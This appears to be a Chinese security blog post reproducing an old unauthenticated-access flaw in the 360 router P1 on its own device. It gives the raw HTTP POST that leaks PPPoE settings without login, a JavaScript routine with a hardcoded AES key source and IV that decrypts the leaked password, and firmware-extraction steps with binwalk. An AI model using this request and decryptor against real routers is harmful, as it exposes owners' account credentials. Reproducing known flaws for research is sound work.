原创 G4br1el 暗魂攻防实验室
微信号 anhunsec-red
功能介绍 专注于网络空间安全、红蓝攻防对抗、渗透测试等技术研究
__发表于
收录于合集 #漏洞复现 11个
闲来无事,6点多起来打扫房间时发现之前在闲鱼买的古老的360路由器P1,想着能不能getshell,只不过在网上只找到了未授权访问漏洞,所以先复现一下。360安全路由P1存在未授权访问漏洞(可读取密码),不过这是很古老的漏洞了,需要刷回最老的固件才存在此漏洞,乌云漏洞编号:wooyun-2015-0143408。固件下载地址:http://luyou.dl.qihucdn.com/luyou/360POP-P1-V0.7.0.18.bin
这一系列cgi不需要登录即可访问
javascript/router/wan_config_show.cgi,javascript/router/wan_config_set.cgi,javascript/router/log_get.cgi
其中:javascript/router/wan_config_show.cgi通过post可直接获取上网设置信息,包括ppoe用户名和密码。
javascript/router/wan_config_set.cgi提交post可以直接设置各种东西
POST /javascript/router/wan_config_show.cgi HTTP/1.1Host: 192.168.0.1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Qihoo_360_login=3a1cca690f360155cc7099d537513719Connection: closeContent-Length: 11
uiname=WAN1
通过POST提交参数,可以找到PPPOE的账号密码,账号是admin,密码是进行加密,密码的解密函数就是new_lib.js脚本中的函数getDAesString()
解密脚本:
function getDAesString(str, keys) { var ciphertext = str.substr(32, str.length - 32); var lengthKeyObj = {}; if (keys) { lengthKeyObj.rand_key = keys; } else { lengthKeyObj = get_rand_key(0, str, true); } if (!lengthKeyObj.rand_key) { return str; } var key = CryptoJS.enc.Hex.parse(lengthKeyObj.rand_key); var iv = CryptoJS.enc.Latin1.parse("360luyou@install"); var str16T64 = CryptoJS.enc.Hex.parse(ciphertext).toString(CryptoJS.enc.Base64); var decrypted = CryptoJS.AES.decrypt(str16T64, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }); return decrypted.toString(CryptoJS.enc.Utf8);}
function test() { var uiname = $("#common_uiname").val(); $.post("javascript/router/wan_config_show.cgi", { uiname: 'WAN1' }, function (data) { var data = dataDeal(data); wan_setup_data = data; if (data && data.COMMON && data.COMMON.connect_type && data.PPPOE) { wan_setup_data.PPPOE.pass = getDAesString(wan_setup_data.PPPOE.pass); } alert(wan_setup_data.PPPOE.pass); });}
直接在浏览器F12控制台中输入解密脚本,然后通过test()调用,即可解密PPPOE的密码为1234567
在IOTsec-Zone论坛上找到了固件提取的文章,进而可以进行代码审计。这里就尝试一下。
首先工具需要:firmware-mod-kit或者binwalk,binwalk是kali自带(最新版kali是需要下载的)
firmware-mod-kit工具的功能和binwalk工具的类似,其实firmware-mod- kit工具在功能上有调用binwalk工具提供的功能以及其他的固件解包工具的整合
firmware-mod-kit工具安装(我记得kali好像已经有了):
apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic
git clone https://github.com/mirror/firmware-mod-kit.gitcd firmware-mod-kit/src./configure && make
固件提取:
binwalk -Me 360POP-P1-V0.7.0.18.bin --run-as=root
提取出来的文件名是_360POP-P1-V0.7.0.18.bin.extracted,效果是:
代码是在squashfs-root文件夹上,里面的web就是路由器后台管理的界面代码啦,可以进行代码审计等等
不过binwalk好像已经是提取出来了,如果是其他路由器,binwalk出来只有16D842.squashfs这种格式的文件,所以还需要进一步的用unsquashfs进行提取
unsquashfs 16D842.squashfs
提取的效果也就是上面的squashfs-root文件夹
只有一个80端口开了,没有啥洞进入底层shell呢。。。。
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看